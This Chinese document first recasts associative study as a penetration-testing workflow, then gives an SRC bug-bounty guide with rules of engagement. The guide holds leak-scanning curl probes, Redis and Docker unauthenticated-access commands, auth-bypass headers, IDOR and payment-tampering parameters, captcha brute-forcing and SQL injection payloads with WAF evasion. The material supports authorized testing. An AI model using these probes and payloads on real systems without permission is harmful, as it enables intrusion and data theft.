AI + 渗透测试思路关联分析
·
AI + 渗透测试思路关联分析
渗透测试思路
关联思考渗透引擎 v4.0
核心隐喻
知识/问题 = 目标系统
关联点 = 攻击面
深度关联 = 漏洞利用
关联网络 = 攻击链
有效思维 = 成功渗透
白帽子原则:系统化枚举、深度利用、不遗漏、全覆盖
---
第一阶段:侦察(Reconnaissance)
1.1 目标画像
对任何知识点/问题/概念,首先建立完整画像:
【目标基本信息】
├── 名称/定义:它叫什么?官方定义是?
├── 类型/分类:它属于什么类别?
├── 版本/变体:它有哪些不同形式?
└── 来源/出处:它从哪里来?谁提出的?
【目标结构信息】
├── 组成要素:它由哪些部分构成?
├── 内部关系:各部分如何连接?
├── 层次结构:有没有上下级关系?
└── 核心vs外围:哪些是核心?哪些可去掉?
【目标行为信息】
├── 输入/输出:它接收什么?产出什么?
├── 触发条件:什么情况下它会激活?
├── 变化规律:它如何随条件变化?
└── 生命周期:它如何产生、发展、消亡?
【目标环境信息】
├── 依赖项:它依赖什么才能存在/运作?
├── 被依赖:什么东西依赖它?
├── 同级对象:与它平级的有哪些?
└── 所属系统:它属于哪个更大的系统?
1.2 攻击面枚举(关联维度全覆盖)
12个攻击面(必须全部扫描):
时间维度:
├── [T-1] 前置:它之前是什么?需要什么基础?
├── [T0] 当前:它现在是什么状态?
├── [T+1] 后续:它之后会变成什么?能推出什么?
└── [T∞] 极限:时间趋向极端会怎样?
空间维度:
├── [S-上] 上层:它属于什么更大的系统?
├── [S-下] 下层:它可以分解为什么?
├── [S-同] 同层:与它并列的有什么?
└── [S-跨] 跨域:其他领域有什么对应物?
关系维度:
├── [R-因] 因果:什么导致它?它导致什么?
├── [R-比] 对比:它与什么相似/不同?
├── [R-反] 对立:它的反面/对立面是什么?
└── [R-变] 变换:它可以变换成什么形式?
12面全扫 = 思维无死角
---
第二阶段:扫描(Scanning)
2.1 广度扫描矩阵
对每个攻击面,执行系统化扫描:
│ 直接关联 │ 间接关联 │ 隐藏关联 │ 潜在关联
──────────────┼──────────┼──────────┼──────────┼──────────
[T-1] 前置 │ │ │ │
[T0] 当前 │ │ │ │
[T+1] 后续 │ │ │ │
[T∞] 极限 │ │ │ │
[S-上] 上层 │ │ │ │
[S-下] 下层 │ │ │ │
[S-同] 同层 │ │ │ │
[S-跨] 跨域 │ │ │ │
[R-因] 因果 │ │ │ │
[R-比] 对比 │ │ │ │
[R-反] 对立 │ │ │ │
[R-变] 变换 │ │ │ │
12攻击面 × 4关联层次 = 48个扫描点
每点至少1个发现 = 最低48个关联
2.2 深度扫描探针
对每个发现的关联点,用以下探针深入:
探针1:本质探针
├── 这个关联的本质是什么?
├── 去掉什么它就不再成立?
├── 它揭示了什么底层规律?
└── 深度评分:L1/L2/L3/L4
探针2:边界探针
├── 这个关联在什么条件下成立?
├── 什么情况下会失效?
├── 边界条件精确是什么?
└── 有没有反例?
探针3:利用探针
├── 这个关联能解释什么?
├── 能解决什么问题?
├── 能迁移到哪里?
└── 能生成什么新问题?
探针4:连接探针
├── 这个关联能连接到哪些其他关联?
├── 能形成什么关联链?
├── 在网络中处于什么位置?
└── 是孤立点还是枢纽点?
2.3 漏洞分级(关联价值评估)
Critical(核心关联):
├── 改变了对整个主题的理解
├── 能统一多个分散知识点
├── 迁移价值极高
└── 发现后必须重点利用
High(重要关联):
├── 揭示了重要规律
├── 有明确的应用价值
├── 能连接多个其他关联
└── 值得深入探索
Medium(普通关联):
├── 有一定解释或应用价值
├── 可作为网络的连接点
├── 保留但不优先
└── 作为思维的补充
Low(边缘关联):
├── 价值有限
├── 连接稀疏
├── 记录但不深入
└── 可能未来有用
Info(信息性关联):
├── 纯粹的信息关联
├── 不产生新理解
├── 仅作记录
└── 不计入有效思维量
---
第三阶段:利用(Exploitation)
3.1 单点深度利用
对每个Critical/High级关联,执行深度利用:
【关联点】:________________
第1轮:解构
├── 这个关联由哪些要素构成?
├── 各要素之间的关系是什么?
├── 核心要素是哪个?
└── 输出:关联的内部结构图
第2轮:变形
├── 保持本质,变换形式 → 得到什么?
├── 改变一个要素 → 关联如何变化?
├── 极端化某个要素 → 会怎样?
└── 输出:≥5个变形关联
第3轮:连接
├── 这个关联能与哪些已知关联连接?
├── 连接后形成什么新结构?
├── 有没有意外的连接可能?
└── 输出:≥3个新连接
第4轮:应用
├── 用这个关联解释一个现象
├── 用这个关联解决一个问题
├── 用这个关联预测一个结果
└── 输出:≥3个应用实例
单点深度利用产出:≥15个有效思考点
3.2 等量关联利用链(数理专用)
【目标】:建立等量变换的完整利用链
第1步:量的识别
├── 显式量:题目明确给出的
├── 隐式量:需要推导的
├── 常量:固定不变的
├── 中间量:计算过程中出现的
└── 目标量:最终要求的
第2步:关系式穷举
├── 定义关系:由定义直接得到
├── 定理关系:由定理/公式得到
├── 约束关系:由条件限制得到
├── 守恒关系:某种守恒定律
└── 隐含关系:需要洞察发现
第3步:变换路径图
┌─→ 路径1(3步)
已知量 ──→ 中间量 ──┼─→ 路径2(4步)
└─→ 路径3(2步)✓最优
第4步:形式扩展
对关键量Q,穷举等价形式:
Q = 形式1 = 形式2 = 形式3 = 形式4 = 形式5 = ...
目标:每个关键量≥10种等价形式
第5步:路径优化
├── 当前最优路径是什么?
├── 有没有更短的路径?
├── 有没有更优雅的路径?
└── 有没有意外的捷径?
3.3 变式利用瀑布
原问题 P₀
│
├─→ [条件变式] 改变前提条件
│ ├─→ P₁: 增强条件 → 结论如何?
│ ├─→ P₂: 弱化条件 → 结论如何?
│ ├─→ P₃: 替换条件 → 结论如何?
│ └─→ P₄: 删除条件 → 结论如何?
│
├─→ [结论变式] 改变目标要求
│ ├─→ P₅: 加强结论 → 需要什么条件?
│ ├─→ P₆: 弱化结论 → 条件可以放松吗?
│ └─→ P₇: 改变结论形式 → 有什么新发现?
│
├─→ [结构变式] 改变问题结构
│ ├─→ P₈: 正向→逆向
│ ├─→ P₉: 特殊→一般
│ ├─→ P₁₀: 一般→特殊
│ └─→ P₁₁: 静态→动态
│
└─→ [极端变式] 推向极端
├─→ P₁₂: 某量→0
├─→ P₁₃: 某量→∞
├─→ P₁₄: 某量→临界值
└─→ P₁₅: 所有条件同时极端
1个原问题 → 15+变式 → 每个变式2个洞见 = 30+思考点
---
第四阶段:攻击链构建(Chain Building)
4.1 关联链类型
线性链(A→B→C→D):
├── 因果链:A导致B,B导致C...
├── 推导链:由A推出B,由B推出C...
├── 演化链:A发展为B,B发展为C...
└── 价值:理解事物的发展脉络
分支链(A→B,C,D):
├── 分类链:A分为B、C、D三类
├── 分解链:A由B、C、D组成
├── 影响链:A影响B、C、D
└── 价值:理解事物的完整结构
汇聚链(B,C,D→A):
├── 综合链:B、C、D共同构成A
├── 条件链:B、C、D是A的条件
├── 证据链:B、C、D共同证明A
└── 价值:理解事物的形成机制
循环链(A→B→C→A):
├── 反馈链:正反馈/负反馈循环
├── 迭代链:不断迭代优化
├── 平衡链:动态平衡系统
└── 价值:理解系统的稳定性
网状结构(多链交织):
├── 所有链的交织组合
├── 形成稠密的知识网络
├── 任意两点多路径可达
└── 价值:真正的融会贯通
4.2 攻击链构建流程
步骤1:节点识别
├── 列出所有已发现的关联点
├── 按重要性排序(Critical > High > Medium)
└── 标记潜在的枢纽节点
步骤2:连接探索
├── 对每对节点(A,B),问:A和B有关系吗?
├── 如果有,关系类型是什么?
├── 连接强度如何?(强/中/弱)
└── 记录所有发现的连接
步骤3:链路形成
├── 识别线性链:哪些节点可以串联?
├── 识别分支点:哪些节点有多个分支?
├── 识别汇聚点:哪些节点由多个节点汇入?
├── 识别循环:有没有形成闭环?
└── 绘制初步的链路图
步骤4:网络优化
├── 检查孤立节点:有没有未连接的节点?
├── 强化关键路径:核心链路是否足够强?
├── 增加冗余路径:关键节点间有备用路径吗?
└── 发现隐藏连接:有没有被忽略的连接?
步骤5:网络验证
├── 任选两点,能否找到≥2条连接路径?
├── 删除任一节点,网络是否仍然连通?
├── 网络能否解释/预测新的现象?
└── 网络是否自洽无矛盾?
4.3 攻击链威力评估
链路威力 = 长度 × 深度 × 覆盖度 × 实用度
长度:链中节点数量
├── 短链(2-3节点):+1
├── 中链(4-6节点):+2
└── 长链(7+节点):+3
深度:链中关联的平均深度
├── 表层链(平均L1):×0.5
├── 结构链(平均L2):×1.0
├── 原理链(平均L3):×1.5
└── 本质链(平均L4):×2.0
覆盖度:链覆盖的攻击面数量
├── 单面链(1-2面):×0.5
├── 多面链(3-5面):×1.0
└── 全面链(6+面):×1.5
实用度:链的实际应用价值
├── 纯理论链:×0.5
├── 可应用链:×1.0
└── 高价值链:×1.5
目标:构建威力值≥10的攻击链
---
第五阶段:覆盖率评估(Coverage Assessment)
5.1 思维覆盖率检查表
攻击面覆盖:
□ [T-1] 前置关联 ≥3个
□ [T0] 当前关联 ≥3个
□ [T+1] 后续关联 ≥3个
□ [T∞] 极限关联 ≥1个
□ [S-上] 上层关联 ≥2个
□ [S-下] 下层关联 ≥2个
□ [S-同] 同层关联 ≥3个
□ [S-跨] 跨域关联 ≥2个
□ [R-因] 因果关联 ≥3个
□ [R-比] 对比关联 ≥3个
□ [R-反] 对立关联 ≥1个
□ [R-变] 变换关联 ≥5个
深度覆盖:
□ L1关联:不限
□ L2关联:≥10个
□ L3关联:≥5个
□ L4关联:≥1个
链路覆盖:
□ 线性链:≥2条
□ 分支链:≥1条
□ 汇聚链:≥1条
□ 循环链:≥1条(如有)
□ 跨域链:≥1条
总覆盖率 = 已覆盖项 / 总检查项 × 100%
目标:≥85%
5.2 有效思维量统计
【本次渗透统计】
侦察阶段:
├── 要素提取:__个
└── 攻击面识别:__/12
扫描阶段:
├── 广度扫描发现:__个关联
├── 深度扫描发现:__个关联
├── Critical级:__个
├── High级:__个
├── Medium级:__个
└── Low/Info级:__个
利用阶段:
├── 单点深度利用产出:__个
├── 等量变换形式:__种
├── 变式产出:__个
└── 应用实例:__个
链路阶段:
├── 构建链路:__条
├── 网络节点:__个
├── 网络连接:__个
└── 网络密度:__
【有效思维总量】
= Critical×5 + High×3 + Medium×1 + 链路数×2 + 深度利用产出
= ___
目标基准:
├── 单个简单概念:≥30
├── 单个复杂概念:≥60
├── 单个问题/题目:≥50
└── 综合性主题:≥100
5.3 渗透报告模板
═══════════════════════════════════════════════════
关联思考渗透报告
═══════════════════════════════════════════════════
【目标】:________________________________
【渗透日期】:____________
───────────────────────────────────────────────────
一、目标画像
───────────────────────────────────────────────────
定义:
构成:
环境:
关键特征:
───────────────────────────────────────────────────
二、发现的关联(按重要性排序)
───────────────────────────────────────────────────
[Critical]
1. ____________(深度:L_,攻击面:___)
- 本质:
- 应用:
- 连接:
2. ____________
[High]
1. ____________
2. ____________
...
───────────────────────────────────────────────────
三、构建的攻击链
───────────────────────────────────────────────────
链1:____________→____________→____________
威力值:__,应用场景:
链2:...
───────────────────────────────────────────────────
四、等量关系网络(如适用)
───────────────────────────────────────────────────
关键量的等价形式:
Q₁ = ___ = ___ = ___ = ___ = ___
Q₂ = ___ = ___ = ___ = ___ = ___
最优求解路径:
───────────────────────────────────────────────────
五、变式清单
───────────────────────────────────────────────────
原式 → 变式1:条件_变化_,结论变为_
→ 变式2:
→ 变式3:
...
───────────────────────────────────────────────────
六、覆盖率与统计
───────────────────────────────────────────────────
攻击面覆盖:__/12
深度覆盖:L2+关联__个
有效思维总量:__
覆盖率:__%
───────────────────────────────────────────────────
七、待探索区域
───────────────────────────────────────────────────
1. ____________(优先级:High/Medium/Low)
2. ____________
3. ____________
═══════════════════════════════════════════════════
---
第六章:渗透效率优化
6.1 快速渗透模式(5分钟版)
当时间有限时,执行精简流程:
分钟1:快速画像
└── 一句话定义 + 3个核心要素
分钟2:四面扫描
├── 前置:它需要什么?
├── 后续:它能推出什么?
├── 对比:它像什么/不像什么?
└── 应用:它能用在哪里?
分钟3-4:深度利用(仅Critical)
└── 对最重要的1-2个关联深入探索
分钟5:快速链接
└── 与已有知识网络建立≥3个连接
产出:≥15个有效思考点
6.2 深度渗透模式(30分钟版)
当需要彻底理解时,执行完整流程:
分钟1-5:完整画像
└── 填充完整的目标画像表
分钟6-12:全面扫描
└── 12攻击面×4层次矩阵全覆盖
分钟13-20:深度利用
├── 所有Critical关联深度利用
├── 等量关系网络构建(如适用)
└── 变式瀑布展开
分钟21-27:攻击链构建
├── 识别所有链路
├── 绘制网络图
└── 验证网络连通性
分钟28-30:覆盖率评估
├── 检查覆盖率
├── 识别漏洞区域
└── 完成渗透报告
产出:≥60个有效思考点 + 完整知识网络
6.3 持续渗透模式(跨天累积)
Day 1:初始渗透
├── 快速渗透模式
├── 标记待探索区域
└── 产出:≥15点
Day 2:扩展渗透
├── 针对待探索区域深入
├── 与Day 1发现交叉连接
├── 发现新的待探索区域
└── 累积产出:≥35点
Day 3:深化渗透
├── 构建攻击链
├── 验证网络完整性
├── 填补覆盖空白
└── 累积产出:≥60点
Day 4+:维护与扩展
├── 与新学知识建立连接
├── 定期重访加强记忆
├── 发现新的关联可能
└── 网络持续增长
长期效果:知识网络指数级增长
---
快速启动命令
【一键启动】
对任何新知识/问题,立即执行:
$ 侦察
- 它是什么?(定义)
- 它有什么?(要素)
- 它在哪里?(位置)
$ 扫描
- 它从哪来?(前置)
- 它到哪去?(后续)
- 它像什么?(对比)
- 它用在哪?(应用)
$ 利用
- 最重要的关联是什么?
- 这个关联的本质是什么?
- 这个关联能用来做什么?
$ 链接
- 它与我已知的什么相连?
- 它在我的知识网络中处于什么位置?
$ 评估
- 我产生了多少有效思考?
- 还有什么没覆盖到?
5分钟 → ≥15个有效思考点
日积月累 → 思维能力指数级提升
前置避险
挖漏洞,最需要的是避险,具体是以下的点:
1. 禁止删除正常的业务数据
2. SQL 注入拿到库名点到为止
3. 遇到不认识的接口(delete、drop)等,不要随便遍历
4. DoS 类漏洞证明可以延时即可
5. Getshell 类漏洞上传无害化脚本木马证明即可(不要深入利用、提权那些,输出一个 hell,world 即可)
6. 越权类漏洞用自己的测试账号进行测试,能读取的真实数据不超过 5 组,严禁批量读取
7. 禁止给上传的漏洞附件塞木马
8. 禁止对企业及/或被测试企业计算机信息网络功能进行删除、修改或者增加等行为
9. 禁止拖库、随意大量增删改他人信息,禁止可对服务稳定性造成影响的扫描和Dos行为
10. 禁止对生产环境进行文件覆盖,删除等敏感操作。
11. 禁止使用高并发、测试自动化扫描等影响到系统稳定性的扫描器和辅助测试脚本。
12. 禁止修改或者删除真实用户数据。
13. 禁止大规模遍历用户信息,禁止保存和传播测试获取到的数据。
14. 对于可以获取应用或者服务器权限的漏洞,禁止上传病毒、木马等恶意代码,保留后门,禁止下载和读取服务器上任何源代码文件和敏感文件或者敏感信息,禁止进行提权以及内网横向
15. 禁止测试批量操作(例:留言、生成工单等)影响厂商业务的行为。
16. 仅测试规定测试范围内的系统,禁止测试测试范围外的系统。测试范围外漏洞不收取
17. 若测试导致系统运行异常等问题,请第一时间联系补天平台并协助厂商恢复系统运行
SRC漏洞挖掘关联引擎 v1.0
SRC漏洞挖掘关联引擎 v1.0
漏洞优先级矩阵(按投入产出比排序)
┌─────────────────┬────────────┬────────────┬────────────┐
│ 漏洞类型 │ 发现难度 │ 收录概率 │ 推荐指数 │
├─────────────────┼────────────┼────────────┼────────────┤
│ 信息泄露 │ ★☆☆☆☆ │ ★★★★☆ │ ⭐⭐⭐⭐⭐ │
│ 未授权访问 │ ★★☆☆☆ │ ★★★★☆ │ ⭐⭐⭐⭐⭐ │
│ 越权漏洞 │ ★★★☆☆ │ ★★★★★ │ ⭐⭐⭐⭐⭐ │
│ 弱口令 │ ★☆☆☆☆ │ ★★★☆☆ │ ⭐⭐⭐⭐ │
│ SQL注入 │ ★★★☆☆ │ ★★★★★ │ ⭐⭐⭐⭐ │
│ XSS │ ★★☆☆☆ │ ★★★☆☆ │ ⭐⭐⭐ │
│ 逻辑漏洞 │ ★★★★☆ │ ★★★★★ │ ⭐⭐⭐⭐ │
│ 文件上传 │ ★★★☆☆ │ ★★★★★ │ ⭐⭐⭐⭐ │
│ SSRF │ ★★★☆☆ │ ★★★★☆ │ ⭐⭐⭐⭐ │
└─────────────────┴────────────┴────────────┴────────────┘
新手路线:信息泄露 → 未授权 → 弱口令 → 越权 → SQL注入
进阶路线:逻辑漏洞 → 文件上传 → SSRF → 组合利用
---
第一类:信息泄露(入门首选)
1.1 攻击面全景图
信息泄露
├── 源码泄露
│ ├── .git/.svn/.hg 泄露
│ ├── .DS_Store 泄露
│ ├── WEB-INF/web.xml 泄露
│ ├── 备份文件 (.bak, .swp, .old, ~)
│ └── 编辑器临时文件
│
├── 配置泄露
│ ├── 数据库配置文件
│ ├── 应用配置文件
│ ├── 环境变量泄露
│ └── phpinfo/探针页面
│
├── 接口泄露
│ ├── Swagger/API文档未授权
│ ├── GraphQL内省开启
│ ├── actuator端点暴露
│ └── debug接口开放
│
├── 错误信息泄露
│ ├── 详细报错(路径、版本)
│ ├── 堆栈跟踪
│ └── SQL错误信息
│
├── 目录泄露
│ ├── 目录遍历开启
│ ├── 备份目录
│ └── 上传目录
│
└── 敏感文件泄露
├── 日志文件
├── 数据库备份
├── 用户数据导出
└── 内部文档
1.2 关联扫描矩阵
【横向关联】同类变体穷举
.git泄露 → 关联扫描:
├── /.git/config
├── /.git/HEAD
├── /.git/index
├── /.git/logs/HEAD
├── /.svn/entries
├── /.svn/wc.db
├── /.hg/store/data
├── /.bzr/branch/branch.conf
└── /CVS/Root
备份文件 → 关联扫描:
├── 原文件名 + (.bak|.old|.swp|.swo|~|.tmp|.temp|.backup|.copy)
├── 原文件名 + 日期 (config_20231201.php)
├── 原文件名 + 序号 (config1.php, config2.php)
├── 原文件名.原扩展名.新扩展名 (config.php.bak)
├── 原文件名_backup.原扩展名
├── .原文件名.swp (vim)
├── 原文件名~ (emacs)
└── #原文件名# (emacs autosave)
配置文件 → 关联扫描:
├── /config.php|.inc|.ini|.conf|.yaml|.yml|.json|.xml|.env
├── /database.php|db.php|conn.php|connection.php
├── /settings.php|setting.php|config/database.php
├── /.env|.env.local|.env.production|.env.backup
├── /application.properties|application.yml
├── /web.config|Web.config
└── /appsettings.json|appsettings.Development.json
1.3 路径关联爆破
【纵向关联】路径深度扩展
发现 /admin/ 目录 → 关联扩展:
├── /admin/config/
├── /admin/backup/
├── /admin/log/
├── /admin/data/
├── /admin/upload/
├── /admin/export/
├── /admin/sql/
├── /admin/db/
└── /admin/test/
发现 config.php → 关联扩展:
├── 同目录其他配置:database.php, settings.php
├── 备份变体:config.php.bak, config.php.old
├── 其他环境:config.dev.php, config.prod.php
├── 父目录:../config.php, ../../config.php
└── include目录:/include/config.php, /inc/config.php
【技术栈关联】识别技术栈后关联扫描
发现 ThinkPHP → 关联:
├── /application/database.php
├── /app/database.php
├── /.env
├── /runtime/log/
└── ThinkPHP历史漏洞
发现 Spring Boot → 关联:
├── /actuator
├── /actuator/env
├── /actuator/heapdump
├── /actuator/mappings
├── /swagger-ui.html
├── /v2/api-docs
└── /druid/
发现 Laravel → 关联:
├── /.env
├── /storage/logs/laravel.log
├── /vendor/
├── /.git/
└── /telescope
1.4 信息泄露速查Payload
# 一键扫描脚本思路
目标域名=$1
# Git泄露
curl -s "$目标域名/.git/config" | grep -q "repositoryformatversion" && echo "[+] Git泄露"
# SVN泄露
curl -s "$目标域名/.svn/entries" | head -1 | grep -qE "^[0-9]+" && echo "[+] SVN泄露"
# 环境文件
curl -s "$目标域名/.env" | grep -qiE "(DB_|APP_|SECRET)" && echo "[+] ENV泄露"
# actuator
curl -s "$目标域名/actuator" | grep -q "actuator" && echo "[+] Actuator暴露"
# Swagger
curl -s "$目标域名/swagger-ui.html" | grep -q "swagger" && echo "[+] Swagger暴露"
# phpinfo
curl -s "$目标域名/phpinfo.php" | grep -q "PHP Version" && echo "[+] phpinfo泄露"
---
第二类:未授权访问(高频出洞)
2.1 攻击面全景图
未授权访问
├── 管理后台未授权
│ ├── /admin/ /manager/ /system/
│ ├── /console/ /dashboard/
│ └── 直接访问功能页面绕过登录
│
├── API接口未授权
│ ├── 用户信息接口
│ ├── 订单/交易接口
│ ├── 管理功能接口
│ └── 内部服务接口
│
├── 中间件未授权
│ ├── Redis未授权 (6379)
│ ├── MongoDB未授权 (27017)
│ ├── Elasticsearch未授权 (9200)
│ ├── Memcached未授权 (11211)
│ ├── Zookeeper未授权 (2181)
│ ├── Docker API未授权 (2375)
│ └── Kubernetes API未授权 (6443,8080)
│
├── 管理界面未授权
│ ├── Druid监控
│ ├── Spring Boot Admin
│ ├── Kibana
│ ├── Jenkins
│ ├── phpMyAdmin
│ └── Nacos/Apollo配置中心
│
└── 功能模块未授权
├── 文件上传功能
├── 文件下载功能
├── 用户管理功能
└── 数据导出功能
2.2 关联发现矩阵
【后台路径关联穷举】
发现登录页 /login → 关联尝试直接访问:
├── /admin/index
├── /admin/main
├── /admin/home
├── /admin/dashboard
├── /admin/user/list
├── /system/user
├── /manage/
├── /console/
└── /member/
【鉴权绕过关联】
正常请求被拦截 → 关联尝试绕过:
├── 修改请求方法:GET→POST→PUT→OPTIONS
├── 添加头部:X-Forwarded-For: 127.0.0.1
├── 添加头部:X-Real-IP: 127.0.0.1
├── 添加头部:X-Originating-IP: 127.0.0.1
├── 路径变形:/admin/../admin/
├── 路径变形:/admin;/index
├── 路径变形:/admin%2findex
├── 路径变形:/ADMIN/ (大小写)
├── 添加扩展:/admin/index.json
└── 添加参数:/admin/index?debug=1
【接口未授权关联】
发现 /api/user/info?id=1 → 关联测试:
├── 删除Cookie/Token测试未授权
├── 使用空Token
├── 使用过期Token
├── 使用其他用户Token(越权)
├── 关联接口:/api/user/list
├── 关联接口:/api/user/delete
├── 关联接口:/api/user/export
└── 关联接口:/api/admin/user
2.3 中间件未授权速查
【端口→服务→未授权检测】
端口6379 (Redis):
├── redis-cli -h 目标 info
├── redis-cli -h 目标 keys *
└── 危害:读取数据/写入webshell/反弹shell
端口27017 (MongoDB):
├── mongo --host 目标
├── show dbs; show collections;
└── 危害:数据泄露/数据篡改
端口9200 (Elasticsearch):
├── curl http://目标:9200/_cat/indices
├── curl http://目标:9200/_search
└── 危害:敏感数据泄露
端口2375 (Docker):
├── curl http://目标:2375/version
├── curl http://目标:2375/containers/json
└── 危害:容器逃逸/主机控制
端口8080 (Jenkins):
├── 访问 /script 执行Groovy
├── 访问 /manage
└── 危害:命令执行/凭证泄露
---
第三类:越权漏洞(高价值常收)
3.1 攻击面全景图
越权漏洞
├── 水平越权(同级用户间)
│ ├── 通过修改用户ID访问他人数据
│ ├── 通过修改订单ID查看他人订单
│ ├── 通过修改手机号操作他人账户
│ └── 通过修改资源ID获取他人资源
│
├── 垂直越权(低权限→高权限)
│ ├── 普通用户访问管理功能
│ ├── 普通用户调用管理接口
│ ├── 修改角色/权限参数提权
│ └── 访问未授权的功能模块
│
└── 上下文越权(跨状态/流程)
├── 跳过支付步骤完成订单
├── 跳过验证步骤重置密码
├── 修改订单状态
└── 跨租户访问数据
3.2 越权参数关联矩阵
【ID类参数关联】发现任何ID参数都要测试
用户相关:
├── uid, userid, user_id, userId
├── account, accountid, account_id
├── member, memberid, memberId
└── openid, unionid
订单相关:
├── orderid, order_id, orderId, orderNo
├── ordernum, order_num, order_number
└── transactionId, tradeNo
资源相关:
├── id, ID, Id
├── fileid, file_id, fileId
├── docid, documentId
├── articleId, postId
└── recordId, dataId
【ID变形关联】
发现 id=1001 → 关联测试:
├── id=1000 (减1)
├── id=1002 (加1)
├── id=1 (最小值)
├── id=0 (边界值)
├── id=-1 (负数)
├── id=999999 (大数)
├── id=1001' (注入测试)
├── id=1001,1002 (批量)
└── id[]=1001&id[]=1002 (数组)
【编码关联】
原始:id=1001
├── Base64: id=MTAwMQ==
├── MD5: id=a0eebc99...
├── Hex: id=0x3E9
├── URL编码: id=%31%30%30%31
└── Unicode: id=\u0031\u0030\u0030\u0031
测试时需解码原参数,修改后重新编码
3.3 越权测试流程
【双账号对照法】
准备:
├── 账号A(攻击者):记录所有请求
├── 账号B(受害者):获取目标ID
└── 工具:Burp Suite + Autorize插件
步骤:
1. 账号A正常操作,抓取请求
2. 替换请求中的ID为账号B的ID
3. 观察是否返回账号B的数据
【API遍历法】
发现 /api/v1/user/info:
├── 提取接口模式:/api/v1/{资源}/{操作}
├── 关联资源:user, order, file, config, admin
├── 关联操作:info, list, add, update, delete, export
└── 组合生成接口列表并遍历测试
生成列表:
/api/v1/user/list
/api/v1/user/delete
/api/v1/order/info
/api/v1/order/list
/api/v1/admin/list
/api/v1/file/download
...
【权限参数篡改】
发现请求中有权限相关参数:
├── role=user → role=admin
├── type=0 → type=1
├── isAdmin=false → isAdmin=true
├── level=1 → level=99
├── group=normal → group=administrator
└── permission=read → permission=write
---
第四类:逻辑漏洞(高价值)
4.1 攻击面全景图
逻辑漏洞
├── 支付逻辑
│ ├── 金额篡改(改小/改负/改0)
│ ├── 数量篡改
│ ├── 优惠券/积分重复使用
│ ├── 并发支付(条件竞争)
│ └── 支付状态绕过
│
├── 验证码逻辑
│ ├── 验证码重复使用
│ ├── 验证码绕过(删除参数)
│ ├── 验证码爆破(4-6位)
│ ├── 验证码回显
│ └── 万能验证码
│
├── 密码重置逻辑
│ ├── 任意用户密码重置
│ ├── 重置链接可预测
│ ├── 验证码发送到攻击者
│ ├── 跳过验证步骤
│ └── 凭证泄露
│
├── 注册逻辑
│ ├── 任意用户注册覆盖
│ ├── 邮箱/手机验证绕过
│ ├── 邀请码绕过
│ └── 批量注册
│
└── 业务流程
├── 步骤跳过
├── 流程逆序
├── 参数污染
└── 条件竞争
4.2 支付逻辑关联测试
【价格参数关联】
发现 price=100 → 关联测试:
├── price=1 (最小正数)
├── price=0.01 (最小单位)
├── price=0 (零)
├── price=-100 (负数)
├── price=0.001 (精度溢出)
├── price=99999999999 (大数溢出)
├── price=100%00 (截断)
└── 删除price参数
【数量参数关联】
发现 num=1 → 关联测试:
├── num=0
├── num=-1
├── num=99999999
├── num=1.5 (小数)
├── num=1e10 (科学计数)
└── 删除num参数
【并发竞争测试】
场景:优惠券只能用一次
├── 准备:一个有效优惠券
├── 工具:Burp Intruder / Turbo Intruder
├── 方法:同时发送100个相同请求
├── 观察:优惠券是否被使用多次
└── 关联场景:积分兑换、库存扣减、签到奖励
【支付流程关联】
正常流程:选商品→确认订单→支付→完成
测试点:
├── 步骤2修改订单金额
├── 步骤2替换商品ID为高价值商品
├── 跳过步骤3直接访问步骤4
├── 步骤3篡改支付成功回调
└── 步骤3替换订单号为他人已支付订单
4.3 验证码逻辑关联测试
【验证码绕过关联】
正常请求包含 code=123456 → 关联测试:
├── 删除code参数
├── code=(空值)
├── code=null
├── code=undefined
├── code=000000
├── code=111111
├── code=123456(固定值多次使用)
└── 修改响应包绕过前端验证
【验证码爆破关联】
4位验证码 → 10000种可能
├── 工具:Burp Intruder
├── 字典:0000-9999
├── 关注:是否有频率限制
├── 关注:是否有错误次数限制
├── 绕过:更换IP / 更换手机号参数
6位验证码 → 100万种可能
├── 通常不可爆破
├── 关注:验证码有效期是否过长
├── 关注:是否有规律(时间戳相关)
└── 关注:响应中是否泄露验证码
【密码重置关联】
重置流程:输入账号→发送验证码→输入验证码→设置新密码
测试点:
├── 步骤1:任意手机号/邮箱接收验证码
├── 步骤2:验证码发送到响应包
├── 步骤3:验证码可爆破/可重用
├── 步骤4:修改用户标识为目标用户
├── 跳过步骤2-3直接访问步骤4
└── 修改步骤4请求中的token/userid
---
第五类:SQL注入(经典高危)
5.1 注入点关联发现
【参数类型关联】
GET参数:?id=1
├── 数字型:id=1 and 1=1
├── 字符型:id=1' and '1'='1
├── 搜索型:id=1%' and '%'='
└── 编码型:需要先解码
POST参数:id=1(表单/JSON)
├── 同GET测试方法
├── JSON: {"id":"1' and '1'='1"}
└── 数组: id[]=1
Cookie参数:Cookie: user=admin
├── 常被忽略的注入点
└── user=admin' and '1'='1
HTTP头:
├── X-Forwarded-For: 1' and '1'='1
├── Referer: 1' and '1'='1
├── User-Agent: 1' and '1'='1
└── 常用于记录日志的场景
【注入位置关联】
发现注入点 → 关联测试其他位置:
├── 同接口其他参数
├── 同功能其他接口
├── 相似功能的接口
└── 管理后台相同功能
5.2 注入Payload关联
【数据库类型识别】
MySQL关联Payload:
├── and 1=1
├── ' and '1'='1
├── " and "1"="1
├── and sleep(5)
├── and benchmark(10000000,md5('a'))
└── and updatexml(1,concat(0x7e,version()),1)
MSSQL关联Payload:
├── and 1=1
├── ; waitfor delay '0:0:5'--
├── and @@version>0
└── and db_name()>0
Oracle关联Payload:
├── and 1=1
├── and dbms_pipe.receive_message('a',5)=1
├── and (select utl_inaddr.get_host_name from dual)>0
└── and rownum=1
PostgreSQL关联Payload:
├── and 1=1
├── ; select pg_sleep(5);--
└── and version()::int=1
【绕过关联】
被WAF拦截 → 关联绕过尝试:
├── 大小写:And, AND, aNd
├── 双写:aandnd, oorr
├── 编码:%27, %2527, %u0027
├── 注释:a]nd, an/**/d, /*!and*/
├── 等价替换:and→&&, or→||, =→like
├── 空格替换:%09, %0a, %0b, %0c, %0d, /**/
└── 内联注释:/*!50000and*/
---
第六类:快速出洞工作流
6.1 目标选择策略
【高价值目标特征】
优先选择:
├── 新上线的业务/功能
├── 小众但有价值的子域名
├── 边缘系统(OA、CRM、ERP)
├── 移动端APP对应的API
├── 小程序后端接口
├── 老旧系统(技术债务多)
└── 第三方系统集成点
避免:
├── 核心主站(防护强、竞争激烈)
├── 已被大量测试的常规功能
└── 纯静态页面
6.2 15分钟快速扫描流程
分钟1-3:信息收集
├── 子域名枚举
├── 端口扫描(常见端口)
├── 目录扫描(常见路径)
└── 技术栈识别
分钟4-6:信息泄露扫描
├── .git/.svn/.env扫描
├── 备份文件扫描
├── actuator/swagger扫描
└── 敏感路径扫描
